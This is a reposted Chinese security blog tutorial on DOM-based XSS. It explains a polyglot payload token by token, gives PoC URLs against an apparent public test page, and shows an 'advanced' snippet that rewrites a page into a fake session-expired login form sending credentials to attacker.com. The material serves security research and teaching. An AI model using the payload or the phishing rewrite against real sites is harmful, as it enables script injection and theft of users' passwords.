基于DOM的XSS攻击

admin 2026-04-02 03:49:51 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文详细解析基于DOM的XSS攻击技术,通过具体payload示例展示如何利用注释符突破HTML/JS环境限制。文章包含攻击原理分析、实战案例及进阶利用技巧(如页面重写钓鱼表单),并提供了可验证的PoC链接。适用于安全研究人员理解DOMXSS漏洞利用手法。 综合评分: 85 文章分类: WEB安全,漏洞分析,渗透测试,实战经验,安全开发


cover_image

基于 DOM 的 XSS 攻击

原创

JunYi JunYi

毅心安全

2026年4月1日 15:18 广东

基于 DOM 的 XSS 攻击

payload

1;/*'"><Img/Src/OnError=/**/confirm(1)//>

解析

1;:如果输入点在 JS 环境(如 eval()),这代表一个完整的语句结束。

/*:JS 的多行注释符。它会让 JS 引擎忽略后面用来突破 HTML 环境的字符(如 '"><),防止 JS 报错中断执行。

'":尝试闭合可能存在的单引号或双引号字符串。

>:尝试闭合当前的 HTML 标签。

<Img/Src/OnError=...:这是核心攻击载荷。当之前的标签被闭合后,浏览器会解析这个新标签。由于 Src 为空或无效,会触发 OnError 事件。

/**/:在 OnError 内部使用注释代替空格,用来绕过某些对空格的过滤。

//:JS 的单行注释符。如果是在 JS 环境中,它会注释掉后面可能存在的任何原始代码(如 )!),确保语法正确。

当输入内容最终通过以下方式进入 DOM 时,可以使用以下方法: A. document.write()、innerHTML、outerHTML 或等效的库; B. eval()、setInterval()、setTimeout() 或模板字面量。

PoCs: A:

https://x55.is/brutelogic/dom/sinks.html?name=1;/*%27%22%3E%3CImg/Src/OnError=/**/confirm(1)//%3E

B:

https://x55.is/brutelogic/dom/sinks.html?index=1;/*%27%22%3E%3CImg/Src/OnError=/**/confirm(1)//%3E

实战

A:

进阶

尝试重写页面 …… poc:

document.body.innerHTML = '<h1>Session Expired</h1><form action="http://attacker.com/login"><p>Username: <input name="u"></p><p>Password: <input type="password" name="p"></p><button>Login</button></form>';

效果:

B:


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:毅心安全 JunYi JunYi《基于 DOM 的 XSS 攻击》

基于DOM的XSS攻击 网络安全文章

基于DOM的XSS攻击

文章总结: 本文详细解析基于DOM的XSS攻击技术,通过具体payload示例展示如何利用注释符突破HTML/JS环境限制。文章包含攻击原理分析、实战案例及进阶
评论:0   参与:  0